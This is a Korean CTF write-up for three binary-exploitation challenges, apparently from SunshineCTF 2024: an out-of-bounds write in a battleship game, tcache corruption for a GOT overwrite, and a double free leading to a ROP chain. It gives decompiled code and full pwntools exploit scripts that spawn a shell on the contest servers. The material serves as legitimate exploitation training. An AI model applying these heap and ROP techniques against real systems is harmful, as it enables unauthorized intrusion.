16x16의 map에서 row와 column을 입력받은 후, 랜덤으로 존재하는 상대의 ship을 다 맞추는 게임이다.
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned __int8 v5; // [rsp+3h] [rbp-21Dh] BYREF
unsigned int v6; // [rsp+4h] [rbp-21Ch] BYREF
unsigned int v7; // [rsp+8h] [rbp-218h] BYREF
unsigned __int8 v8; // [rsp+Fh] [rbp-211h] BYREF
char v9[256]; // [rsp+10h] [rbp-210h] BYREF
char v10[268]; // [rsp+110h] [rbp-110h] BYREF
int v11; // [rsp+21Ch] [rbp-4h]
__int64 savedregs; // [rsp+220h] [rbp+0h] BYREF
...
while ( !v11 )
{
puts("\n<<< Your Board:");
sub_17BD(v10, 1LL);
puts("\n<<< Enemy Board:");
sub_17BD(v9, (unsigned int)dword_406C);
printf("\nEnter the row (0-9, a-f) >>> ");
__isoc99_scanf(" %i", &v7);
printf("Enter the column (0-9, a-f) >>> ");
__isoc99_scanf("%i", &v6);
printf("Choose missile type - Tomahawk (T), Hellfire (H), SideWinder (S), Custom (C) >>> ");
__isoc99_scanf(" %c", &v8);
if ( v8 == 'C' )
{
printf("Enter a custom missile as a single ASCII character >>> ");
__isoc99_scanf(" %c", &v5);
v8 = v5;
}
v9와 v10이 바로 16x16 char map이 저장된 배열이다.
row와 column은 0 ~ 9, a ~ f의 값을 통해 입력받고, missile type을 따로 입력을 받게 되는데 'C'
를 통해 원하는 다른 값도 입력 가능하다.
row, column의 유효값인 0 ~ 9, a ~ f가 아니라면 아래 else문에 오게된다.
else
{
printf(
"<<< Fired outside board, corrupting %p from %02x to %02x!",
&v9[16 * v7 + v6],
*((unsigned __int8 *)&savedregs + 16 * (int)v7 + (int)v6 - 528),
v8);
*((_BYTE *)&savedregs + 16 * (int)v7 + (int)v6 - 528) = v8;
}
여기서 printf()
를 통해 leak이 가능하다. %p
를 통해 stack leak, %02x
를 여러번 반복해서 libc leak을 할 수 있다.
마지막줄은 실제 값을 바꾸는 과정인데, 이를 여러번 반복하면 ROP가 가능하다.
실제 exploit code는 아래와 같다.
from pwn import *
# r = process("../chal")
r = remote("2024.sunshinectf.games", 24003)
def menu(row, col, missile):
r.sendlineafter(b"Enter the row (0-9, a-f) >>> ", str(row).encode())
r.sendlineafter(b"Enter the column (0-9, a-f) >>> ", str(col).encode())
if missile == b"C":
r.sendlineafter(b"Custom (C) >>> ", b"C")
r.sendlineafter(b"ASCII character >>> ", b"C")
else:
r.sendlineafter(b"Custom (C) >>> ", missile)
def write_byte(target_addr, byte):
target_row = (target_addr - target_base) // 16
target_col = (target_addr - target_base) % 16
menu(target_row, target_col, byte)
def write_qword(target_addr, qword):
for i in range(8):
write_byte(target_addr + i, p8(qword[i]))
# get stack address
menu(1, -16, b"T")
r.recvuntil(b"corrupting ")
target_base = int(r.recvn(14), 16)
ret_addr = target_base + 0x218
print(f"[+] target_base: {hex(target_base)}")
# libc leak
libc_base = 0
for i in range(0, 6):
menu(33, 8 + i, b"T")
r.recvuntil(b"from ")
libc_base += (int(r.recvn(2), 16) << (i * 8))
libc_base -= 0x2a1ca
print(f"[+] libc_base: {hex(libc_base)}")
# ROP payload
write_qword(ret_addr, p64(libc_base + 0x10f75b)) # pop rdi
write_qword(ret_addr + 0x8, p64(libc_base + 0x1cb42f)) # /bin/sh
write_qword(ret_addr + 0x10, p64(libc_base + 0x10f75c)) # ret
write_qword(ret_addr + 0x18, p64(libc_base + 0x58740)) # system
menu(33, -1, b"A")
r.interactive()
원하는 사이즈를 입력 받은 후, 해당 사이즈로 두 번 malloc()
을 호출하는 문제이다.
unsigned __int64 win()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
system("/bin/sh");
return v1 - __readfsqword(0x28u);
}
win()
이라는 함수가 존재하여 이 함수만 호출한다면 exploit이 가능하다.
v2[inp] = get_inp();
...
v2[v4] = get_inp();
user가 원하는 index에 원하는 값을 쓰는 과정이 두 번 있는데, 그 부분에서 음수 OOB가 발생하게 된다.
malloc()
이 처음 호출되면, tcache 구조체가 먼저 할당되고, 그 다음에 user가 호출한 할당이 진행된다. 그러므로 음수 OOB를 활용하여 tcache bin의 포인터값과 cnt값을 수정할 수 있다.
그러면 다음 malloc()
호출 시 원하는 주소를 할당받을 수 있게 된다.
그 후, 0, 1, 2 index의 값을 입력받게 되는데, 이를 통해 AAW가 가능하다.
v5 = malloc(size);
puts("Value 1: ");
*v5 = get_inp();
puts("Value 2 - ");
v5[1] = get_inp();
puts("Value 3 -> ");
v5[2] = get_inp();
이 문제의 경우, No PIE 이고, Partial RELRO이기 때문에 GOT overwrite를 통해 win()
함수의 주소로 덮을 것이다.
여기서 주의해야 할 점은 tcache라고 할지라도 address가 0x10으로 align 되어 있어야 한다.
from pwn import *
# r = process("./heap01")
r = remote("2024.sunshinectf.games", 24006)
# r.interactive()
r.sendlineafter(b"Do you want a leak? ", b"y")
r.sendlineafter(b"Enter chunk size: ", b"16")
# Corrupt tcache bin
# tcache bin[0] cnt
r.sendlineafter(b"Index: ", b"-596")
r.sendlineafter(b"Value: ", b"1")
# tcache bin[0] next ptr
r.sendlineafter(b"Index: ", b"-580")
r.sendlineafter(b"Value: ", b"4210752") # atoll@got addr
# overwrite got
r.sendlineafter(b"Value 1: ", b"4199019") # win() addr
r.sendlineafter(b"Value 2 - ", b"hello")
r.interactive()
int __fastcall sub_126C(unsigned int a1)
{
__int64 v1; // rax
v1 = knapsack[a1];
if ( !v1 )
{
knapsack[a1] = malloc(0x40uLL);
used[a1] = 1;
if ( !knapsack[a1] )
{
printf("<<< Failed to allocate memory for pocket %d!\n", a1);
exit(1);
}
LODWORD(v1) = printf("<<< Opened pocket %d.\n", a1);
}
return v1;
}
knapsack[8]
의 배열이 존재하고, 처음에 malloc(0x40)
만큼 1 ~ 6 index의 값에 할당이 된다.
그 후 used[8]
을 통해 사용중이라는 1 값이 각 index에 저장된다.
그리고 while문을 통해 25번의 입력을 받고 프로그램이 종료되게 된다.
입력을 통해 use supplies, add supplies, remove supplies의 3가지 행동이 가능하다.
void __fastcall sub_1644(unsigned int a1)
{
if ( knapsack[a1] && used[a1] == 1 )
{
free((void *)knapsack[a1]);
printf("<<< Removed item from pocket %d.\n", a1);
}
else
{
printf("<<< Pocket %d is already empty.\n", a1);
}
used[a1] = used[a1] == 0;
}
사용중인 knapsack
인 경우 free를 하지만, 이미 free가 되어있는 knapsack
인 경우 used = 1
로 바꾸어 버린다.
이 상태에서 다시 remove supplies를 호출하면 double free가 가능하다.
또한 add supplies와 연계할 경우, UAF가 가능하여 원하는 주소의 chunk를 next pointer로 바꿀 수 있다.
if ( !strncmp((const char *)knapsack[a1], "Genie", 5uLL) )
return printf("<<< The genie unrolls a shimmering map showing a secret starting point: %p\n", &printf);
만약 supply의 이름이 "Genie"라면 libc leak이 가능하다.
add supplies를 사용하여 supply의 이름을 "Genie"로 바꾼 후, use supplies를 사용하게 되면 libc leak이 가능하다.
remove supplies를 두 번 호출하게 되면 free가 된 상태로 used = 1
상태가 되는데, 이 때 use supplies를 호출하게 되면
printf("<<< Using item from pocket %d: %s\n", a1, (const char *)knapsack[a1]);
이 코드를 통해 chunk의 next pointer값 leak이 가능하다.
heap leak을 했으니 AAR, AAW를 어떻게 하는지 간단하게 설명한다.
총 3개의 index가 필요하다.
remove supplies
호출 -> chunk free
remove supplies
호출 -> chunk의 used = 1
로 만듬
add supplies
호출 -> chunk의 next pointer를 원하는 주소로 수정
add supplies
호출 (used = 0인 상태)
add supplies
호출 (used = 0인 상태) -> 원하는 주소 할당 및 AAW 가능
이후
use supplies
호출 -> AAR 가능
AAR을 통해 libc의 environ변수를 사용하여 stack주소를 leak한다.
그 후, AAW를 통해 return address를 ROP payload로 덮는다.
from pwn import *
# r = process('./jungle.bin', env={"LD_PRELOAD": "./libc.so.6"})
r = remote("2024.sunshinectf.games", 24005)
def use_supplies(idx):
r.sendlineafter(b'choice >>> ', b'1')
r.sendlineafter(b'>>>', str(idx).encode())
def add_supplies(idx, name):
r.sendlineafter(b'choice >>> ', b'2')
r.sendlineafter(b'>>>', str(idx).encode())
r.sendafter(b'>>>', name)
def remove_supplies(idx):
r.sendlineafter(b'choice >>> ', b'3')
r.sendlineafter(b'>>>', str(idx).encode())
# libc leak
add_supplies(1, b'Genie\x00\x00\x00' + p64(0) * 7)
use_supplies(1)
r.recvuntil(b'The genie unrolls a shimmering map showing a secret starting point: ')
libc_base = int(r.recv(14), 16) - 0x600f0
environ = libc_base + 0x20ad58
r.success(f'libc_base: {hex(libc_base)}')
# heap leak
remove_supplies(2)
remove_supplies(2)
use_supplies(2)
r.recvuntil(b'pocket 2: ')
heap_base = u64(r.recvuntil(b'\x0a')[:-1].ljust(8, b'\x00')) << 12
r.success(f'heap_base: {hex(heap_base)}')
# stack leak
remove_supplies(3)
remove_supplies(4)
remove_supplies(5)
remove_supplies(5)
add_supplies(5, p64(((heap_base) >> 12) ^ (environ - 0x18)) + p64(0) * 7)
add_supplies(3, p64(0) * 8)
add_supplies(4, b"A" * 0x18)
use_supplies(4)
r.recvuntil(b"A" * 0x18)
ret_addr = u64(r.recvline()[:-1].ljust(8, b"\x00")) - 0x130
r.success(f"ret_addr: {hex(ret_addr)}")
# exploit
remove_supplies(1)
remove_supplies(5)
remove_supplies(6)
remove_supplies(6)
add_supplies(6, p64(((heap_base) >> 12) ^ (ret_addr - 0x8)) + p64(0) * 7)
add_supplies(5, p64(0) * 8)
payload = p64(0) # rbp
payload += p64(libc_base + 0x10f75b) # pop rdi
payload += p64(libc_base + 0x1cb42f) # /bin/sh
payload += p64(libc_base + 0x10f75c) # ret
payload += p64(libc_base + 0x58740) # system
add_supplies(1, payload + p64(0) * 3)
pause()
for _ in range(5):
r.sendlineafter(b'choice >>> ', b'0')
r.interactive()